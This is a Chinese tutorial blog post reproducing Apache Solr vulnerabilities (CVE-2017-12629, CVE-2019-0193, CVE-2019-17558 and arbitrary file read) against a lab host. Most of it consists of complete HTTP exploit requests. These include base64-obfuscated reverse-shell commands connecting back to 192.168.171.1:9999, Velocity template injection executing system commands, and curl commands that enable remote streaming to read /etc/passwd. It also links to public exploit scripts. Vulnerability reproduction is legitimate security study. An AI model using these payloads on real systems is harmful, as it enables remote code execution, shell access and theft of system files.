热门标签 | HotTags
当前位置:  开发笔记 > 编程语言 > 正文

apachesolr漏洞复现

文章目录1.什么是Apachesolr2.ApachesolrrceCVE-2017-126292.1利用3.ApacheSolr远程命令执行漏洞(CVE-2019-

文章目录

  • 1. 什么是Apache solr
  • 2. Apache solr rce CVE-2017-12629
    • 2.1 利用
  • 3. Apache Solr 远程命令执行漏洞(CVE-2019-0193)
    • 3.1 利用
  • 4. Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)
    • 4.1 利用
  • 5. 任意文件读取
  • 参考文章


1. 什么是Apache solr

Apache solr约等于ElecticSearch,是一个开源的搜索引擎。Solr 使用 Java 语言开发,主要基于 HTTP 和 Apache Lucene 实现,运行在8983端口。原理大致是文档通过Http利用XML加到一个搜索集合中。查询该集合也是通过 http收到一个XML/JSON响应来实现。在这里插入图片描述

curl http://192.168.171.139:8983/solr/demo/select?q=*:*

在这里插入图片描述

curl http://192.168.171.139:8983/solr/demo/select?q=id:GB18030TEST

在这里插入图片描述

2. Apache solr rce CVE-2017-12629

影响版本:
7.1.0之前

2.1 利用

poc:

POST /solr/demo/config HTTP/1.1
Host: 192.168.171.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 160{"add-listener":{"event":"newSearcher","name":"newlistener11","class":"solr.RunExecutableListener","exe":"sh","dir":"/bin/","args":["-c","touch /tmp/success"]}}

在这里插入图片描述

在这里插入图片描述
反弹shell:

POST /solr/demo/config HTTP/1.1
Host: 192.168.171.139:8983
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Length: 236{"add-listener":{"event":"newSearcher","name":"newlistener11212","class":"solr.RunExecutableListener","exe":"bash","dir":"/bin/","args":["-c","{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQ==}|{base64,-d}|{bash,-i}"]}}

在这里插入图片描述

3. Apache Solr 远程命令执行漏洞(CVE-2019-0193)

影响版本:
Apache Solr <8.2.0



3.1 利用

http://192.168.171.139:8983/solr/admin/cores

在这里插入图片描述
发送数据包&#xff1a;

POST /solr/test/dataimport?_&#61;1565835261600&indent&#61;on&wt&#61;json HTTP/1.1
Host: 192.168.171.139:8983
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.14; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: application/json, text/plain, */*
Accept-Language: zh-CN,zh;q&#61;0.8,zh-TW;q&#61;0.7,zh-HK;q&#61;0.5,en-US;q&#61;0.3,en;q&#61;0.2
Accept-Encoding: gzip, deflate
Content-type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
Content-Length: 679
Connection: close
Referer: http://localhost:8983/solr/
COOKIE: csrftoken&#61;gzcSR6Sj3SWd3v4ZxmV5OcZuPKbOhI6CMpgp5vIMvr5wQAL4stMtxJqL2sUE8INi; sessionid&#61;snzojzqa5zn187oghf06z6xodulpohprcommand&#61;full-import&verbose&#61;false&clean&#61;false&commit&#61;true&debug&#61;true&core&#61;test&dataConfig&#61;%3CdataConfig%3E%0A&#43;&#43;%3CdataSource&#43;type%3D%22URLDataSource%22%2F%3E%0A&#43;&#43;%3Cscript%3E%3C!%5BCDATA%5B%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;function&#43;poc()%7B&#43;java.lang.Runtime.getRuntime().exec(%22touch&#43;%2Ftmp%2Fsuccess%22)%3B%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;%7D%0A&#43;&#43;%5D%5D%3E%3C%2Fscript%3E%0A&#43;&#43;%3Cdocument%3E%0A&#43;&#43;&#43;&#43;%3Centity&#43;name%3D%22stackoverflow%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;processor%3D%22XPathEntityProcessor%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;forEach%3D%22%2Ffeed%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;transformer%3D%22script%3Apoc%22&#43;%2F%3E%0A&#43;&#43;%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name&#61;dataimport

会在tmp文件夹下创建success文件&#xff1a;

在这里插入图片描述

反弹shell&#xff1a;

POST /solr/test/dataimport?_&#61;1638356269667&indent&#61;on&wt&#61;json HTTP/1.1
Host: 192.168.171.139:8983
Content-Length: 782
Accept: application/json, text/plain, */*
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Content-type: application/x-www-form-urlencoded
Origin: http://192.168.171.139:8983
Referer: http://192.168.171.139:8983/solr/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q&#61;0.9
Connection: closecommand&#61;full-import&verbose&#61;false&clean&#61;false&commit&#61;true&debug&#61;true&core&#61;test&dataConfig&#61;%3CdataConfig%3E%0A&#43;&#43;%3CdataSource&#43;type%3D%22URLDataSource%22%2F%3E%0A&#43;&#43;%3Cscript%3E%3C!%5BCDATA%5B%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;function&#43;poc()%7B&#43;java.lang.Runtime.getRuntime().exec(%22bash&#43;-c&#43;%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22)%3B%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;%7D%0A&#43;&#43;%5D%5D%3E%3C%2Fscript%3E%0A&#43;&#43;%3Cdocument%3E%0A&#43;&#43;&#43;&#43;%3Centity&#43;name%3D%22stackoverflow%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;url%3D%22https%3A%2F%2Fstackoverflow.com%2Ffeeds%2Ftag%2Fsolr%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;processor%3D%22XPathEntityProcessor%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;forEach%3D%22%2Ffeed%22%0A&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;&#43;transformer%3D%22script%3Apoc%22&#43;%2F%3E%0A&#43;&#43;%3C%2Fdocument%3E%0A%3C%2FdataConfig%3E&name&#61;dataimport

在这里插入图片描述
添入其中的命令一定要经过base64编码&#xff0c;因为java的exec函数不支持>符号&#xff0c;所以需要将命令转化为无这种符号的形式&#xff0c;并且还需要将编码转化为base64:
在这里插入图片描述
在这里插入图片描述

也可以使用exp&#xff1a;
https://github.com/Rapidsafeguard/Solr-RCE-CVE-2019-0192/blob/master/solr_RCE.py

在这里插入图片描述

4. Apache Solr Velocity 注入远程命令执行漏洞 (CVE-2019-17558)

在其 5.0.0 到 8.3.1版本中&#xff0c;用户可以注入自定义模板&#xff0c;通过Velocity模板语言执行任意命令。

4.1 利用

先确定core&#xff1a;

curl http://192.168.171.139:8983/solr/admin/cores

发现核心名为demo

默认情况下params.resource.loader.enabled配置未打开&#xff0c;无法使用自定义模板。通过发送下面的请求打开对应核心的配置&#xff1a;

POST /solr/demo/config HTTP/1.1
Host: 192.168.171.139:8983
Content-Type: application/json
Content-Length: 259{"update-queryresponsewriter": {"startup": "lazy","name": "velocity","class": "solr.VelocityResponseWriter","template.base.dir": "","solr.resource.loader.enabled": "true","params.resource.loader.enabled": "true"}
}

执行命令&#xff1a;

GET /solr/demo/select?q&#61;1&&wt&#61;velocity&v.template&#61;custom&v.template.custom&#61;%23set($x&#61;%27%27)&#43;%23set($rt&#61;$x.class.forName(%27java.lang.Runtime%27))&#43;%23set($chr&#61;$x.class.forName(%27java.lang.Character%27))&#43;%23set($str&#61;$x.class.forName(%27java.lang.String%27))&#43;%23set($ex&#61;$rt.getRuntime().exec(%27id%27))&#43;$ex.waitFor()&#43;%23set($out&#61;$ex.getInputStream())&#43;%23foreach($i&#43;in&#43;[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.171.139:8983
Cache-Control: max-age&#61;0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*/*;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q&#61;0.9
Connection: close

在这里插入图片描述

反弹shell&#xff1a;

GET /solr/demo/select?q&#61;1&&wt&#61;velocity&v.template&#61;custom&v.template.custom&#61;%23set($x&#61;%27%27)&#43;%23set($rt&#61;$x.class.forName(%27java.lang.Runtime%27))&#43;%23set($chr&#61;$x.class.forName(%27java.lang.Character%27))&#43;%23set($str&#61;$x.class.forName(%27java.lang.String%27))&#43;%23set($ex&#61;$rt.getRuntime().exec(%22bash&#43;-c&#43;%7Becho%2CYmFzaCAtaSA%2BJiAvZGV2L3RjcC8xOTIuMTY4LjE3MS4xLzk5OTkgMD4mMQ%3D%3D%7D%7C%7Bbase64%2C-d%7D%7C%7Bbash%2C-i%7D%22))&#43;$ex.waitFor()&#43;%23set($out&#61;$ex.getInputStream())&#43;%23foreach($i&#43;in&#43;[1..$out.available()])$str.valueOf($chr.toChars($out.read()))%23end HTTP/1.1
Host: 192.168.171.139:8983
Cache-Control: max-age&#61;0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.212 Safari/537.36
Accept: text/html,application/xhtml&#43;xml,application/xml;q&#61;0.9,image/avif,image/webp,image/apng,*/*;q&#61;0.8,application/signed-exchange;v&#61;b3;q&#61;0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q&#61;0.9
Connection: close

在这里插入图片描述

也可直接使用exp&#xff1a;
https://github.com/AleWong/Apache-Solr-RCE-via-Velocity-template

在这里插入图片描述

5. 任意文件读取

# 获取core名&#xff0c;这里假设得到的core名字为demo
curl http://192.168.171.139:8983/solr/admin/cores?indexInfo&#61;false&wt&#61;json | grep name
# 开启RemoteStreaming
curl -i -s -k -X $&#39;POST&#39; \-H $&#39;Content-Type: application/json&#39; --data-binary $&#39;{\"set-property\":{\"requestDispatcher.requestParsers.enableRemoteStreaming\":true}}&#39; \$&#39;http://192.168.171.139:8983/solr/demo/config&#39;
# 读取/etc/passwd
curl -i -s -k &#39;http://192.168.171.139:8983/solr/demo/debug/dump?param&#61;ContentStreams&stream.url&#61;file:///etc/passwd&#39;

在这里插入图片描述

在这里插入图片描述

参考文章

vulhub
Apache-Solr-RCE集合


推荐阅读
  • Windows下配置PHP5.6的方法及注意事项
    本文介绍了在Windows系统下配置PHP5.6的步骤及注意事项,包括下载PHP5.6、解压并配置IIS、添加模块映射、测试等。同时提供了一些常见问题的解决方法,如下载缺失的msvcr110.dll文件等。通过本文的指导,读者可以轻松地在Windows系统下配置PHP5.6,并解决一些常见的配置问题。 ... [详细]
  • Metasploit攻击渗透实践
    本文介绍了Metasploit攻击渗透实践的内容和要求,包括主动攻击、针对浏览器和客户端的攻击,以及成功应用辅助模块的实践过程。其中涉及使用Hydra在不知道密码的情况下攻击metsploit2靶机获取密码,以及攻击浏览器中的tomcat服务的具体步骤。同时还讲解了爆破密码的方法和设置攻击目标主机的相关参数。 ... [详细]
  • 本文介绍了关于apache、phpmyadmin、mysql、php、emacs、path等知识点,以及如何搭建php环境。文章提供了详细的安装步骤和所需软件列表,希望能帮助读者解决与LAMP相关的技术问题。 ... [详细]
  • 如何在服务器主机上实现文件共享的方法和工具
    本文介绍了在服务器主机上实现文件共享的方法和工具,包括Linux主机和Windows主机的文件传输方式,Web运维和FTP/SFTP客户端运维两种方式,以及使用WinSCP工具将文件上传至Linux云服务器的操作方法。此外,还介绍了在迁移过程中需要安装迁移Agent并输入目的端服务器所在华为云的AK/SK,以及主机迁移服务会收集的源端服务器信息。 ... [详细]
  • 本文介绍了在Windows环境下如何配置php+apache环境,包括下载php7和apache2.4、安装vc2015运行时环境、启动php7和apache2.4等步骤。希望对需要搭建php7环境的读者有一定的参考价值。摘要长度为169字。 ... [详细]
  • 延迟注入工具(python)的SQL脚本
    本文介绍了一个延迟注入工具(python)的SQL脚本,包括使用urllib2、time、socket、threading、requests等模块实现延迟注入的方法。该工具可以通过构造特定的URL来进行注入测试,并通过延迟时间来判断注入是否成功。 ... [详细]
  • 知识图谱——机器大脑中的知识库
    本文介绍了知识图谱在机器大脑中的应用,以及搜索引擎在知识图谱方面的发展。以谷歌知识图谱为例,说明了知识图谱的智能化特点。通过搜索引擎用户可以获取更加智能化的答案,如搜索关键词"Marie Curie",会得到居里夫人的详细信息以及与之相关的历史人物。知识图谱的出现引起了搜索引擎行业的变革,不仅美国的微软必应,中国的百度、搜狗等搜索引擎公司也纷纷推出了自己的知识图谱。 ... [详细]
  • 本文介绍了在Mac上搭建php环境后无法使用localhost连接mysql的问题,并通过将localhost替换为127.0.0.1或本机IP解决了该问题。文章解释了localhost和127.0.0.1的区别,指出了使用socket方式连接导致连接失败的原因。此外,还提供了相关链接供读者深入了解。 ... [详细]
  • r2dbc配置多数据源
    R2dbc配置多数据源问题根据官网配置r2dbc连接mysql多数据源所遇到的问题pom配置可以参考官网,不过我这样配置会报错我并没有这样配置将以下内容添加到pom.xml文件d ... [详细]
  • SpringMVC接收请求参数的方式总结
    本文总结了在SpringMVC开发中处理控制器参数的各种方式,包括处理使用@RequestParam注解的参数、MultipartFile类型参数和Simple类型参数的RequestParamMethodArgumentResolver,处理@RequestBody注解的参数的RequestResponseBodyMethodProcessor,以及PathVariableMapMethodArgumentResol等子类。 ... [详细]
  • 本文介绍了绕过WAF的XSS检测机制的方法,包括确定payload结构、测试和混淆。同时提出了一种构建XSS payload的方法,该payload与安全机制使用的正则表达式不匹配。通过清理用户输入、转义输出、使用文档对象模型(DOM)接收器和源、实施适当的跨域资源共享(CORS)策略和其他安全策略,可以有效阻止XSS漏洞。但是,WAF或自定义过滤器仍然被广泛使用来增加安全性。本文的方法可以绕过这种安全机制,构建与正则表达式不匹配的XSS payload。 ... [详细]
  • 本文介绍了一个免费的asp.net控件,该控件具备数据显示、录入、更新、删除等功能。它比datagrid更易用、更实用,同时具备多种功能,例如属性设置、数据排序、字段类型格式化显示、密码字段支持、图像字段上传和生成缩略图等。此外,它还提供了数据验证、日期选择器、数字选择器等功能,以及防止注入攻击、非本页提交和自动分页技术等安全性和性能优化功能。最后,该控件还支持字段值合计和数据导出功能。总之,该控件功能强大且免费,适用于asp.net开发。 ... [详细]
  • JavaWeb中读取文件资源的路径问题及解决方法
    在JavaWeb开发中,读取文件资源的路径是一个常见的问题。本文介绍了使用绝对路径和相对路径两种方法来解决这个问题,并给出了相应的代码示例。同时,还讨论了使用绝对路径的优缺点,以及如何正确使用相对路径来读取文件。通过本文的学习,读者可以掌握在JavaWeb中正确找到和读取文件资源的方法。 ... [详细]
  • Servlet多用户登录时HttpSession会话信息覆盖问题的解决方案
    本文讨论了在Servlet多用户登录时可能出现的HttpSession会话信息覆盖问题,并提供了解决方案。通过分析JSESSIONID的作用机制和编码方式,我们可以得出每个HttpSession对象都是通过客户端发送的唯一JSESSIONID来识别的,因此无需担心会话信息被覆盖的问题。需要注意的是,本文讨论的是多个客户端级别上的多用户登录,而非同一个浏览器级别上的多用户登录。 ... [详细]
  • ShiftLeft:将静态防护与运行时防护结合的持续性安全防护解决方案
    ShiftLeft公司是一家致力于将应用的静态防护和运行时防护与应用开发自动化工作流相结合以提升软件开发生命周期中的安全性的公司。传统的安全防护方式存在误报率高、人工成本高、耗时长等问题,而ShiftLeft提供的持续性安全防护解决方案能够解决这些问题。通过将下一代静态代码分析与应用开发自动化工作流中涉及的安全工具相结合,ShiftLeft帮助企业实现DevSecOps的安全部分,提供高效、准确的安全能力。 ... [详细]
author-avatar
喝喝88地盘
这个家伙很懒,什么也没留下!
PHP1.CN | 中国最专业的PHP中文社区 | DevBox开发工具箱 | json解析格式化 |PHP资讯 | PHP教程 | 数据库技术 | 服务器技术 | 前端开发技术 | PHP框架 | 开发工具 | 在线工具
Copyright © 1998 - 2020 PHP1.CN. All Rights Reserved | 京公网安备 11010802041100号 | 京ICP备19059560号-4 | PHP1.CN 第一PHP社区 版权所有